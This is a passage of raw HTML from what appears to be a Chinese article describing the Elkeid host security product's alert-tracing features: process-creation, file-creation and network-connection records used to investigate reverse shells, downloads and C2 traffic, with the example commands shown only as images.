MWIzCOYThDHg&#34;,&#34;doxcnOsAQe4YO4akWkdDeqGynEb&#34;,&#34;doxcn8488Iyi6y0yG46dmIEVyyc&#34;,&#34;doxcnSawqGGmy2SIAFRBPSNW2qs&#34;,&#34;doxcnCSMiaqyEwIwESc4HByPdsd&#34;],&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;对于主机安全产品而言溯源究竟有多重要？&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+j&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]},&#34;nextNum&#34;:1}},&#34;align&#34;:&#34;&#34;}}},&#34;payloadMap&#34;:{&#34;doxcnWSo20qWgUmGMkFFnptLgIh&#34;:{&#34;level&#34;:1},&#34;doxcnmo0sAKAgokCEUhAXF62a8g&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}},&#34;pasteFlag&#34;:&#34;d8e1b7e5-f3bb-4282-bf54-de7a6089dfcc&#34;}" data-lark-record-format="docx/record"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.590625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a5cc6faf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzNcTynic8Zy7lpOz7rcVBs7W69DhvgRuibdzibZn8zYpunclib3XQ7jDMKvHMPJ4rOkz3BUiaTia7Yiclsg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>例二：</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=898b21c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzNcTynic8Zy7lpOz7rcVBs7zttYmBo5AiaoNVjSPic2mBKcdQiayVS12ptg6uWAponxlnOr42shQHybA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><br/></p><p style="text-align: center;margin-bottom: 0em;"><br mpa-from-tpl="t"/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><br/></section><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding: 0px 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #000000;line-height: 42px;" data-mid=""><strong style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">3. Elkeid 溯源能力介绍 - 进程创建</strong></p><br/><p><br/></p></section></section></section></section></section><p><br mpa-from-tpl="t"/></p><p>溯源图中的进程创建类型节点是很重要的一类数据，通过该数据我们可以很好的了解到告警的前后还执行了什么。</p><p><br/></p><p>在下图这个案例中，我们通过查看告警节点的父进程信息，可以看到“--no-sandbox”这个关键信息。</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;rootId&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;parentId&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;blockIds&#34;:[34,35],&#34;recordIds&#34;:[&#34;doxcn2u6EGGaS6oSuc79ftq8mbd&#34;,&#34;doxcniucOkeEIYa0CqMrRSvOP2c&#34;],&#34;recordMap&#34;:{&#34;doxcn2u6EGGaS6oSuc79ftq8mbd&#34;:{&#34;id&#34;:&#34;doxcn2u6EGGaS6oSuc79ftq8mbd&#34;,&#34;snapshot&#34;:{&#34;parent_id&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;type&#34;:&#34;text&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;溯源图中的进程创建类型节点是很重要的一类数据，通过该数据我们可以很好的了解到告警的前后还执行了什么。&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+1e&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]},&#34;nextNum&#34;:1}},&#34;folded&#34;:false}},&#34;doxcniucOkeEIYa0CqMrRSvOP2c&#34;:{&#34;id&#34;:&#34;doxcniucOkeEIYa0CqMrRSvOP2c&#34;,&#34;snapshot&#34;:{&#34;parent_id&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;type&#34;:&#34;text&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;在下图这个案例中，我们通过查看溯源节点查看告警节点的父进程信息，可以看到“--no-sandbox”这个关键信息。&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+1l&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]},&#34;nextNum&#34;:1}},&#34;folded&#34;:false}},&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;:{&#34;id&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnUWG2iGYYS4ac4DUdgxq8Ug&#34;,&#34;doxcnWqcQa4aYYKWmEhoW8Ypm5e&#34;,&#34;doxcn2GYowwwIsEUQegkXaRYLge&#34;,&#34;doxcnAcUmmIYQAwq8C8NCeMo1Ef&#34;,&#34;doxcnyCw6qcg888AW2d4w8wuWIf&#34;,&#34;doxcngEM86gK8Q2C2QnzXnwBvGc&#34;,&#34;doxcny0OyKGis8Ey8wbV0HX8jof&#34;,&#34;doxcn08SGMy244QQgUTA1dhRglc&#34;,&#34;doxcn88GOc8Wik2y2oJcDtxY6ae&#34;,&#34;doxcnsUuUqMO4ikAQm22DmLSVxg&#34;,&#34;doxcnS0smaIIaAygUuge2rsL2if&#34;,&#34;doxcnE6GQmq2e66csgzDk1BqqId&#34;,&#34;doxcnkmckyya0iac6kbsAcxZWcd&#34;,&#34;doxcnmI6q2wo2uwYeUDHBOX6UQc&#34;,&#34;doxcnWSo20qWgUmGMkFFnptLgIh&#34;,&#34;doxcnmo0sAKAgokCEUhAXF62a8g&#34;,&#34;doxcnm40si6EguE2SmmvGhvHBPe&#34;,&#34;doxcnmmwsIkOyqks8WMTZaRtGyh&#34;,&#34;doxcnoM8I0W8w0Y2yQHQUxajLfg&#34;,&#34;doxcnEI4kICWIkuygU3WmKevfXc&#34;,&#34;doxcnYc6ywSqOIESCIuXoT0dgoc&#34;,&#34;doxcn2u6EGGaS6oSuc79ftq8mbd&#34;,&#34;doxcniucOkeEIYa0CqMrRSvOP2c&#34;,&#34;doxcnsCoOYgq6ou6IeA4Mnn256g&#34;,&#34;doxcnGoIMU04oeU2ogdq67aQHEg&#34;,&#34;doxcnQg6WQAWOwKKe4HaLN2jPVg&#34;,&#34;doxcn4MUIC2iKyqKSUDBarFsVOh&#34;,&#34;doxcn88sucMuAEksQKQ2ZibpiIh&#34;,&#34;doxcnYKWS2yGgOCQcC4Vhfrrrzf&#34;,&#34;doxcnQIyU6QQUuICa6vYnvIh12b&#34;,&#34;doxcnIQWKW84KsmYYwRkRFikN1f&#34;,&#34;doxcnOGe2mky0m266k1e0TF8pif&#34;,&#34;doxcnSiISM8Y4O6q0WK4B5NliYf&#34;,&#34;doxcn8YwWCcGIm8SobR380NrXxp&#34;,&#34;doxcnWqWa8MeCwyWsy7CzOPdT7C&#34;,&#34;doxcnaiMcyyAEuQqEWItjSIoMab&#34;,&#34;doxcna0oGi6KsMMq0iWs1fSRXud&#34;,&#34;doxcnwQAO0Is2iuyE0EidBosM9b&#34;,&#34;doxcnM2esww8imOMs0q3P6Z7Zod&#34;,&#34;doxcnMKkGW0YSWIiOgRuBD9IQGd&#34;,&#34;doxcn22mqUYUiu4MWIzCOYThDHg&#34;,&#34;doxcnOsAQe4YO4akWkdDeqGynEb&#34;,&#34;doxcn8488Iyi6y0yG46dmIEVyyc&#34;,&#34;doxcnSawqGGmy2SIAFRBPSNW2qs&#34;,&#34;doxcnCSMiaqyEwIwESc4HByPdsd&#34;],&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;对于主机安全产品而言溯源究竟有多重要？&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+j&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]},&#34;nextNum&#34;:1}},&#34;align&#34;:&#34;&#34;}}},&#34;payloadMap&#34;:{&#34;doxcn2u6EGGaS6oSuc79ftq8mbd&#34;:{&#34;level&#34;:1},&#34;doxcniucOkeEIYa0CqMrRSvOP2c&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}},&#34;pasteFlag&#34;:&#34;d8e1b7e5-f3bb-4282-bf54-de7a6089dfcc&#34;}" data-lark-record-format="docx/record"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.31640625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=9b018173&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzNcTynic8Zy7lpOz7rcVBs7xzPTxYqWZjooGOgp8VdBZ4bnOdLj63msbWic8JJSk7tmHReYNddiaXfg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>而在下图这个案例中，我们可以清晰的看到反弹shell后入侵者执行的命令：</p><p><span data-lark-record-data="{&#34;rootId&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;在这个案例中，我们可以清晰的看到反弹shell后入侵者执行的命令：&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+x&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]},&#34;nextNum&#34;:1}},&#34;type&#34;:&#34;text&#34;,&#34;referenceRecordMap&#34;:{},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}},&#34;isCut&#34;:false}" data-lark-record-format="docx/text"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=bbe6d9a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzNcTynic8Zy7lpOz7rcVBs78zYHZWQeLtCmnCDAAgWicEFuGY3n7sMH1I1tl3Q2iccYVMVICYGlx5mw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3140625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=285e3d8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzNcTynic8Zy7lpOz7rcVBs7Dus2zziabSyhC7QT33ibyCZpyjODbvUQUBeEKibGJnsiau8sCxFXXxh9Kw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><br/></p><p>通过该类数据我们可以很好的查看告警的上下文，如进程的派生关系，告警节点后的相关行为等。</p><p><span data-lark-record-data="{&#34;rootId&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;通过该类数据我们可以很好的查看告警的上下文，如进程的派生关系，告警节点后的相关行为等。&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+17&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]},&#34;nextNum&#34;:1}},&#34;type&#34;:&#34;text&#34;,&#34;referenceRecordMap&#34;:{},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}},&#34;isCut&#34;:false}" data-lark-record-format="docx/text"></span></p><p style="text-align: center;margin-bottom: 0em;"><br mpa-from-tpl="t"/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><br/></section><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding: 0px 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #000000;line-height: 42px;" data-mid="">4. Elkeid溯源能力介绍-进程创建</p></section></section></section></section></section><p><br/></p><p>Elkeid 溯源能力还会记录与告警行为相关的全部文件创建行为：</p><p><span data-lark-record-data="{&#34;rootId&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 溯源能力还会记录与告警行为相关的全部文件创建行为：&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0*1+6*1+q&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;a28a5bf3-d307-475b-964e-6a92cd0309cd\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_7090017492916649987\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]},&#34;nextNum&#34;:2}},&#34;type&#34;:&#34;text&#34;,&#34;referenceRecordMap&#34;:{},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}},&#34;isCut&#34;:false}" data-lark-record-format="docx/text"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.30703125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=3d1ab5d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzNcTynic8Zy7lpOz7rcVBs7gLib53Z3iaubsPHiafn3eGYARP2RVpfj9fFE2ym5B5OvlmC81BA5lyjAg%2F640%3Fwx_fmt%3Dpng"/></p><p>通过该数据可以很好的分析下载行为，敏感文件替换行为等文件创建的行为。</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;rootId&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;parentId&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;blockIds&#34;:[65],&#34;recordIds&#34;:[&#34;doxcnSiISM8Y4O6q0WK4B5NliYf&#34;],&#34;recordMap&#34;:{&#34;doxcnSiISM8Y4O6q0WK4B5NliYf&#34;:{&#34;id&#34;:&#34;doxcnSiISM8Y4O6q0WK4B5NliYf&#34;,&#34;snapshot&#34;:{&#34;parent_id&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;type&#34;:&#34;text&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;通过该数据可以很好的分析下载行为，敏感文件替换行为等。&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+r&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]},&#34;nextNum&#34;:1}},&#34;folded&#34;:false}},&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;:{&#34;id&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnUWG2iGYYS4ac4DUdgxq8Ug&#34;,&#34;doxcnWqcQa4aYYKWmEhoW8Ypm5e&#34;,&#34;doxcn2GYowwwIsEUQegkXaRYLge&#34;,&#34;doxcnAcUmmIYQAwq8C8NCeMo1Ef&#34;,&#34;doxcnyCw6qcg888AW2d4w8wuWIf&#34;,&#34;doxcngEM86gK8Q2C2QnzXnwBvGc&#34;,&#34;doxcny0OyKGis8Ey8wbV0HX8jof&#34;,&#34;doxcn08SGMy244QQgUTA1dhRglc&#34;,&#34;doxcn88GOc8Wik2y2oJcDtxY6ae&#34;,&#34;doxcnsUuUqMO4ikAQm22DmLSVxg&#34;,&#34;doxcnS0smaIIaAygUuge2rsL2if&#34;,&#34;doxcnE6GQmq2e66csgzDk1BqqId&#34;,&#34;doxcnkmckyya0iac6kbsAcxZWcd&#34;,&#34;doxcnmI6q2wo2uwYeUDHBOX6UQc&#34;,&#34;doxcnWSo20qWgUmGMkFFnptLgIh&#34;,&#34;doxcnmo0sAKAgokCEUhAXF62a8g&#34;,&#34;doxcnm40si6EguE2SmmvGhvHBPe&#34;,&#34;doxcnmmwsIkOyqks8WMTZaRtGyh&#34;,&#34;doxcnoM8I0W8w0Y2yQHQUxajLfg&#34;,&#34;doxcnEI4kICWIkuygU3WmKevfXc&#34;,&#34;doxcnYc6ywSqOIESCIuXoT0dgoc&#34;,&#34;doxcn2u6EGGaS6oSuc79ftq8mbd&#34;,&#34;doxcniucOkeEIYa0CqMrRSvOP2c&#34;,&#34;doxcnsCoOYgq6ou6IeA4Mnn256g&#34;,&#34;doxcnGoIMU04oeU2ogdq67aQHEg&#34;,&#34;doxcnQg6WQAWOwKKe4HaLN2jPVg&#34;,&#34;doxcn4MUIC2iKyqKSUDBarFsVOh&#34;,&#34;doxcn88sucMuAEksQKQ2ZibpiIh&#34;,&#34;doxcnYKWS2yGgOCQcC4Vhfrrrzf&#34;,&#34;doxcnQIyU6QQUuICa6vYnvIh12b&#34;,&#34;doxcnIQWKW84KsmYYwRkRFikN1f&#34;,&#34;doxcnOGe2mky0m266k1e0TF8pif&#34;,&#34;doxcnSiISM8Y4O6q0WK4B5NliYf&#34;,&#34;doxcn8YwWCcGIm8SobR380NrXxp&#34;,&#34;doxcnWqWa8MeCwyWsy7CzOPdT7C&#34;,&#34;doxcnaiMcyyAEuQqEWItjSIoMab&#34;,&#34;doxcna0oGi6KsMMq0iWs1fSRXud&#34;,&#34;doxcnwQAO0Is2iuyE0EidBosM9b&#34;,&#34;doxcnM2esww8imOMs0q3P6Z7Zod&#34;,&#34;doxcnMKkGW0YSWIiOgRuBD9IQGd&#34;,&#34;doxcn22mqUYUiu4MWIzCOYThDHg&#34;,&#34;doxcnOsAQe4YO4akWkdDeqGynEb&#34;,&#34;doxcn8488Iyi6y0yG46dmIEVyyc&#34;,&#34;doxcnSawqGGmy2SIAFRBPSNW2qs&#34;,&#34;doxcnCSMiaqyEwIwESc4HByPdsd&#34;],&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;对于主机安全产品而言溯源究竟有多重要？&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+j&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]},&#34;nextNum&#34;:1}},&#34;align&#34;:&#34;&#34;}}},&#34;payloadMap&#34;:{&#34;doxcnSiISM8Y4O6q0WK4B5NliYf&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}},&#34;pasteFlag&#34;:&#34;d8e1b7e5-f3bb-4282-bf54-de7a6089dfcc&#34;}" data-lark-record-format="docx/record"></span></p><p style="text-align: center;margin-bottom: 0em;"><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><br/></section><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding: 0px 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #000000;line-height: 42px;" data-mid="">5. Elkeid溯源能力介绍-网络连接</p></section></section></section></section></section><p><br/></p><p>Elkeid 溯源能力还会记录与告警行为相关的网络连接，如Connect/DNS Query：</p><p><span data-lark-record-data="{&#34;rootId&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 溯源能力还会记录与告警行为相关的网络连接，如Connect/DNS Query：&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0*1+6*1+v*2*1+3*1+7&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;5db69aae-a96f-4a96-a21a-52829d540da2\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_7090017492916649987\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;2&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;78f77563-2db2-4125-a870-127ce5123893\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_35630522\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]},&#34;nextNum&#34;:3}},&#34;type&#34;:&#34;text&#34;,&#34;referenceRecordMap&#34;:{},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}},&#34;isCut&#34;:false}" data-lark-record-format="docx/text"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.31796875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=75c3c142&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzNcTynic8Zy7lpOz7rcVBs7TRibWmuDXuJqo8588dpbpPOMlehqblYia8vqiaHp53sTjZxCmnoIRjicfQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.31640625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b891d4cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzNcTynic8Zy7lpOz7rcVBs7StLAVWdY5vYgyuG1ic2ubAH4qP5vgnjOvBOzVzrJpgUXrBrXUsrsUrQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>通过该数据可以很好的发现如内网扫描，与C2通讯，尝试连接内网敏感资产等行为。</p><p><br mpa-from-tpl="t"/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><br/></section><section style="background: rgb(231, 241, 238);border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding: 0px 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #000000;line-height: 42px;" data-mid="">7. Elkeid 溯源扩展</p></section></section></section></section></section><p><br/></p><p>由于目前版本 Elkeid 溯源仅仅是第一个版本，因此相较于Elkeid 采集的数据，目前可以支持的自动化溯源的数据类型还是相对较少的。但是用户可以根据自己的需求，将Elkeid 在端上采集的全部原始数据存储在如HIVE，ES等地，便于数据分析/威胁溯源/行为审计等需求。</p><p><span data-lark-record-data="{&#34;rootId&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;由于目前版本 Elkeid 溯源仅仅是第一个版本，因此相较于Elkeid 采集的数据，目前可以支持的自动化溯源的数据类型还是相对较少的。但是用户可以根据自己的需求，将Elkeid 在端上采集的全部原始数据存储在如HIVE，ES等地，便于数据分析/威胁溯源/行为审计等需求。&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+7*1*0+6*0+2l*2*0+4*0+1*3*0+2*0+5*4*0+4*0+e&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;3660a8c4-2122-4f8c-9a6d-9f35c7bf953e\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_7090017492916649987\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;2&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;c2539936-7e96-4208-b274-e9d6bbf8aeea\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_777\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;3&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;f142c839-4eae-4d2e-991c-79b5e3660078\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_561,enterprise_7055136540426600451,enterprise_51326322,enterprise_50866556,enterprise_7044095230915837956\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;4&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;8b9a3db8-6e80-4cfe-8a59-b49ebfe41616\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_36907382\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]},&#34;nextNum&#34;:5}},&#34;type&#34;:&#34;text&#34;,&#34;referenceRecordMap&#34;:{},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}},&#34;isCut&#34;:false}" data-lark-record-format="docx/text"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.54921875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=40a735e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzNcTynic8Zy7lpOz7rcVBs7btWAwNqlQuRJPulxTf0TyNa1ibp529pY7Y5o23BhmKBx9mlvR9acaKw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><br/></p><p><br mpa-from-tpl="t"/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" 